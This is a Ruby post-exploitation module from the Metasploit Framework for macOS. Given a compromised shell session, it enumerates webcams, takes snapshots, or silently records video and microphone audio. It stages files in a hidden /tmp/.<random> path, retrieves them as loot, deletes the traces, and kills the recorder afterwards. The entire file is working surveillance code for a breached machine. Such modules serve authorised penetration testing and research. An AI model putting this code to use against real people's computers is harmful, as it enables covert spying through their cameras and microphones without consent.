metasploit-framework/modules/post/osx/manage/webcam.rb

151 lines
5.6 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'shellwords'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::OSX::RubyDL
POLL_TIMEOUT = 120
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Manage Webcam',
'Description' => %q{
This module will allow the user to detect installed webcams (with
the LIST action), take a snapshot (with the SNAPSHOT action), or
record a webcam and mic (with the RECORD action)
},
'License' => MSF_LICENSE,
'Author' => [ 'joev'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell' ],
'Actions' => [
[ 'LIST', { 'Description' => 'Show a list of webcams' } ],
[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ],
[ 'RECORD', { 'Description' => 'Record with the webcam' } ]
],
'DefaultAction' => 'LIST'
))
register_options(
[
OptInt.new('CAMERA_INDEX', [true, 'The index of the webcam to use. `set ACTION LIST` to get a list.', 0]),
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
OptString.new('JPG_QUALITY', [false, 'The compression factor for snapshotting a jpg (from 0 to 1)', "0.8"]),
OptString.new('TMP_FILE',
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
),
OptBool.new('AUDIO_ENABLED', [false, 'Enable audio when recording', true]),
OptString.new('AUDIO_COMPRESSION',
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
),
OptString.new('VIDEO_COMPRESSION',
[true, 'Compression type to use for video', 'QTCompressionOptionsSD480SizeH264Video']
),
OptEnum.new('SNAP_FILETYPE',
[true, 'File format to use when saving a snapshot', 'png', %w(jpg png gif tiff bmp)]
),
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
], self.class)
end
def run
fail_with(Failure::BadConfig, "Invalid session ID selected.") if client.nil?
fail_with(Failure::BadConfig, "Invalid action") if action.nil?
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
ruby_cmd = osx_capture_media(
:action => action.name.downcase,
:snap_filetype => datastore['SNAP_FILETYPE'],
:audio_enabled => datastore['AUDIO_ENABLED'],
:video_enabled => true,
:num_chunks => num_chunks,
:chunk_len => datastore['SYNC_WAIT'],
:video_device => datastore['CAMERA_INDEX'],
:audio_device => datastore['MIC_INDEX'],
:snap_jpg_compression => datastore['JPG_QUALITY'].to_f,
:video_compression => datastore['VIDEO_COMPRESSION'],
:audio_compression => datastore['AUDIO_COMPRESSION'],
:record_file => tmp_file,
:snap_file => tmp_file+datastore['SNAP_FILETYPE']
)
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
if action.name =~ /list/i
print_good output
elsif action.name =~ /record/i
@pid = output.to_i
print_status "Running record service with PID #{@pid}"
(0...num_chunks).each do |i|
# wait SYNC_WAIT seconds
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
Rex.sleep(datastore['SYNC_WAIT'])
# start reading for file
begin
::Timeout.timeout(poll_timeout) do
while true
if File.exist?(tmp_file)
# read file
contents = File.read(tmp_file)
# delete file
rm_f(tmp_file)
# roll filename
base = File.basename(tmp_file, '.*') # returns it with no extension
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
ext = File.extname(tmp_file) || 'o'
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
# store contents in file
title = "OSX Webcam Recording "+i.to_s
f = store_loot(title, "video/mov", session, contents,
"osx_webcam_rec#{i}.mov", title)
print_good "Record file captured and saved to #{f}"
print_status "Rolling movie file. "
break
else
Rex.sleep(0.3)
end
end
end
rescue ::Timeout::Error
fail_with(Failure::TimeoutExpired, "Client did not respond to new file request, exiting.")
end
end
elsif action.name =~ /snap/i
if output.include?('(RuntimeError)')
print_error output
return
end
snap_type = datastore['SNAP_FILETYPE']
img = read_file(tmp_file+snap_type)
f = store_loot("OSX Webcam Snapshot", "image/#{snap_type}",
session, img, "osx_webcam_snapshot.#{snap_type}", 'OSX Webcam Snapshot')
print_good "Snapshot successfully taken and saved to #{f}"
end
end
def cleanup
return unless @cleaning_up.nil?
@cleaning_up = true
if action.name =~ /record/i and not @pid.nil?
print_status("Killing record service...")
cmd_exec("/bin/kill -9 #{@pid}")
end
end
private
def poll_timeout
POLL_TIMEOUT
end
end